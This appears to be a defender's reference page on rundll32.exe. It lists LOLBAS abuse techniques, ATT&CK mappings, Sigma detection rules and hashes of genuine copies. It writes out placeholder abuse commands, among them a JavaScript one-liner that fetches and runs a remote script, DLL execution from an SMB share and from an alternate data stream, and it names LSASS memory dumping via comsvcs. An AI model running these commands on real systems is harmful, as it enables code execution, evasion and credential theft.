rundll32.exe

Loads and runs 32-bit dynamic-link libraries (DLLs). Windows commands reference

LOLBAS AWL Bypass, Execute, ADS, Download, Dump 86 Sigma rules name it 12 ATT&CK techniques 5 documented commands 14 known copies with hashes

How rundll32.exe is abused

documented by LOLBAS

AWL Bypass T1127.002 Trusted Developer Utilities Proxy Execution: ClickOnce

Through Dfsvc.exe: dfshim.dll,shopenverbapplication

Execute T1218.011 System Binary Proxy Execution: Rundll32

ADS T1564.004 Hide Artifacts: NTFS File Attributes

dllmain

Execute T1218.011 System Binary Proxy Execution: Rundll32

-sta

AWL Bypass T1218.011 System Binary Proxy Execution: Rundll32

Through Advpack.dll: advpack.dll,launchinfsection

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Advpack.dll: advpack.dll,registerocx

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Advpack.dll: registerocx

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Desk.cpl: desk.cpl,installscreensaver

AWL Bypass T1127.002 Trusted Developer Utilities Proxy Execution: ClickOnce

Through Dfshim.dll: dfshim.dll,shopenverbapplication

AWL Bypass T1218.011 System Binary Proxy Execution: Rundll32

Through Ieadvpack.dll: ieadvpack.dll,launchinfsection

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Ieadvpack.dll: ieadvpack.dll,registerocx

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Ieadvpack.dll: registerocx

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Ieframe.dll: ieframe.dll,openurl

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Mshtml.dll: mshtml.dll,printhtml

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Pcwutl.dll: pcwutl.dll,launchapplication

Download T1105 Ingress Tool Transfer

Through PhotoViewer.dll: imageview_fullscreen

Download T1105 Ingress Tool Transfer

Through Scrobj.dll

AWL Bypass T1218.011 System Binary Proxy Execution: Rundll32

Through Setupapi.dll: setupapi.dll,installhinfsection defaultinstall

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Setupapi.dll: setupapi.dll,installhinfsection defaultinstall

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Shdocvw.dll: shdocvw.dll,openurl

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Shell32.dll: shell32.dll,control_rundll

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Shell32.dll: shell32.dll,shellexec_rundll

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Shell32.dll: shell32.dll,#44

Download T1105 Ingress Tool Transfer

Through Shimgvw.dll

AWL Bypass T1218.011 System Binary Proxy Execution: Rundll32

Through Syssetup.dll: syssetup.dll,setupinfobjectinstallaction defaultinstall

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Syssetup.dll: syssetup.dll,setupinfobjectinstallaction defaultinstall

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Url.dll: url.dll,openurl

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Url.dll: url.dll,fileprotocolhandler

Execute T1218.011 System Binary Proxy Execution: Rundll32

Through Zipfldr.dll: zipfldr.dll,routethecall

Dump T1003.001 OS Credential Dumping: LSASS Memory

Through Comsvcs.dll: minidump full

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for rundll32.exe.

5 documented commands

from LOLBAS, each read by the identifier

Execute T1218.011 System Binary Proxy Execution: Rundll32 User privileges

First part should be a DLL file (any extension accepted), EntryPoint should be the name of the entry point in the DLL file to execute.

rundll32.exe {PATH},EntryPoint

Identify

Trips no Sigma process-creation rule.

Execute T1218.011 System Binary Proxy Execution: Rundll32 User privileges

Execute a DLL from an SMB share. EntryPoint is the name of the entry point in the DLL file to execute.

rundll32.exe {PATH_SMB:.dll},EntryPoint

Identify

Trips 1 Sigma rule: highRundll32 UNC Path Execution by Nasreddine Bencherchali (Nextron Systems)

Execute T1218.011 System Binary Proxy Execution: Rundll32 User privileges

Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:{REMOTEURL}")

Identify

Trips 1 Sigma rule: highMshtml.DLL RunHTMLApplication Suspicious Usage by Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems), Josh Nickels, frack113, Zaw Min Htun (ZETA)

ADS T1564.004 Hide Artifacts: NTFS File Attributes User privileges

Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).

rundll32 "{PATH}:ADSDLL.dll",DllMain

Identify

Trips no Sigma process-creation rule.

Execute T1218.011 System Binary Proxy Execution: Rundll32 User privileges

Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.

rundll32.exe -sta {CLSID}

Identify

Trips 1 Sigma rule: highRundll32 Registered COM Objects by frack113

3 of the 5 commands the identifier reads trip a Sigma process-creation rule; 2 trip none. These commands and their descriptions are from LOLBAS’s entry for rundll32.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for rundll32.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules

criticalPotential Emotet Rundll32 ExecutionFPT.EagleEye

criticalQakbot Rundll32 Exports ExecutionX__Junior (Nextron Systems)

criticalQakbot Rundll32 Fake DLL Extension ExecutionX__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)

highInjected Browser Process Spawning Rundll32 - GuLoader Activity@kostastsale

highIcedID Malware Suspicious Single Digit DLL Execution Via Rundll32Nasreddine Bencherchali (Nextron Systems)

highPikabot Fake DLL Extension Execution Via Rundll32.EXESwachchhanda Shrawan Poudel, Nasreddine Bencherchali (Nextron Systems)

highPotential Qakbot Rundll32 ExecutionX__Junior (Nextron Systems)

highKapeka Backdoor Execution Via RunDLL32.EXESwachchhanda Shrawan Poudel, Nasreddine Bencherchali (Nextron Systems)

highCobaltStrike Load by Rundll32Wojciech Lesicki

highPotential Renamed Rundll32 ExecutionNasreddine Bencherchali (Nextron Systems)

highPotential Rundll32 Execution With DLL Stored In ADSHarjot Singh, '@cyb3rjy0t'

highSuspicious Advpack Call Via Rundll32.EXEFlorian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)

highRundll32 Registered COM Objectsfrack113

highSuspicious Rundll32 Execution With Image ExtensionHieu Tran

highRundll32 UNC Path ExecutionNasreddine Bencherchali (Nextron Systems)

highSuspicious WebDav Client Execution Via Rundll32.EXENasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems)

mediumRhadamanthys Stealer Module Launch Via Rundll32.EXETropChaud

mediumDLL Call by Ordinal Via Rundll32.EXEFlorian Roth (Nextron Systems)

mediumRundll32.EXE Calling DllRegisterServer Export Function ExplicitlyAndreas Braathen (mnemonic.io)

mediumRundll32 InstallScreenSaver ExecutionChristopher Peacock @securepeacock, SCYTHE @scythe_io, TactiKoolSec

mediumPotential Obfuscated Ordinal Call Via Rundll32Nasreddine Bencherchali (Nextron Systems), Swachchhanda Shrawan Poudel (Nextron Systems)

mediumRundll32 Spawned Via Explorer.EXECD_ROM_

mediumPotentially Suspicious Rundll32.EXE Execution of UDL File@kostastsale

mediumRundll32 Execution With Uncommon DLL ExtensionTim Shelton, Florian Roth (Nextron Systems), Yassine Oukessou

mediumSuspicious Workstation Locking via Rundll32frack113

mediumWebDav Client Execution Via Rundll32.EXERoberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)

criticalZxShell MalwareFlorian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro

criticalNotPetya Ransomware ActivityFlorian Roth (Nextron Systems), Tom Ueltschi

criticalCOLDSTEEL RAT Cleanup Command ExecutionNasreddine Bencherchali (Nextron Systems)

criticalSticky Key Like Backdoor ExecutionFlorian Roth (Nextron Systems), @twjackomo, Jonhnathan Ribeiro, oscd.community

And 56 more rules that name rundll32.exe.

T1003.001OS Credential Dumping: LSASS Memory

T1021.002Remote Services: SMB/Windows Admin Shares

T1027.010Obfuscated Files or Information: Command Obfuscation

T1048.003Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol

T1055Process Injection

T1071Application Layer Protocol

T1105Ingress Tool Transfer

T1127.002Trusted Developer Utilities Proxy Execution: ClickOnce

T1218System Binary Proxy Execution

T1218.011System Binary Proxy Execution: Rundll32

T1546.015Event Triggered Execution: Component Object Model Hijacking

T1564.004Hide Artifacts: NTFS File Attributes

Is it the real rundll32.exe?

file version info and known copies

Installed inC:\Windows\system32\
C:\Windows\SysWOW64\

Signed byMicrosoft Windows

ProductMicrosoft Windows Operating System, Microsoft Corporation

DescriptionWindows host process (Rundll32)

14 known copies

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\rundll32.exe · signed by Microsoft Windows

60517f898bfac156cd298fd0a45f2e06cecee232a54667213458b99dc8d80de7

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\rundll32.exe · signed by Microsoft Windows

8dcaeeebef9b9f3d41d295db145ffb3850f309d089c08125c7fa7034db5fd80e

10.0.19041.746 (WinBuild.160101.0800) · C:\Windows\SysWOW64\rundll32.exe · signed by Microsoft Windows

6cbe0e1f046b13b29bfa26f8b368281d2dda7eb9b718651d5856f22cc3e02910

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\rundll32.exe · signed by Microsoft Windows

b53f3c0cd32d7f20849850768da6431e5f876b7bfa61db0aa0700b02873393fa

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\rundll32.exe · signed by Microsoft Windows

bbbde17d9d1f77e3ddf7b212e36ebdc094ddba0f4115c8cacde903e880e0e67d

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\rundll32.exe · signed by Microsoft Windows

f1dc9560d0c381c78304d94f7ba469490017d9728a03c2dd32c3be957fc9f923

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\rundll32.exe · signed by Microsoft Windows

11064e9edc605bd5b0c0a505538a0d5fd7de53883af342f091687cae8628acd0

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\rundll32.exe · signed by Microsoft Windows

7d99c80a1249a1ec9af0f3047c855778b06ea57e11943a271071985afe09e6c2

10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\rundll32.exe · signed by Microsoft Windows

01b407af0200b66a34d9b1fa6d9eaab758efa36a36bb99b554384f59f8690b1a

10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\rundll32.exe · signed by Microsoft Windows

26e68d4381774a6fd0bf5ca2eacef55f2ab28536e3176a1c6362dffc68b22b8a

10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\rundll32.exe · signed by Microsoft Windows

495bba47fc43ee23054fcd419f2f00457162d1c04296900c6aea551102a810f3

10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\rundll32.exe · signed by Microsoft Windows

d25ff1e6c6460a7f9de39198d182058c1712726008d187e1953b83abe977e4a0

6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\rundll32.exe · not signed

5cc2c563d89257964c4b446f54afe1e57bbee49315a9fc001ff5a6bcb6650393

6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\rundll32.exe · not signed

6f9195d85b386099f9f63e3319f5e9e85e0f3a1f0d48cfc9a37e7eff65225933

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.

rundll32.exe

How rundll32.exe is abused

5 documented commands

What detects it

Is it the real rundll32.exe?

14 known copies

Other programs abused for AWL Bypass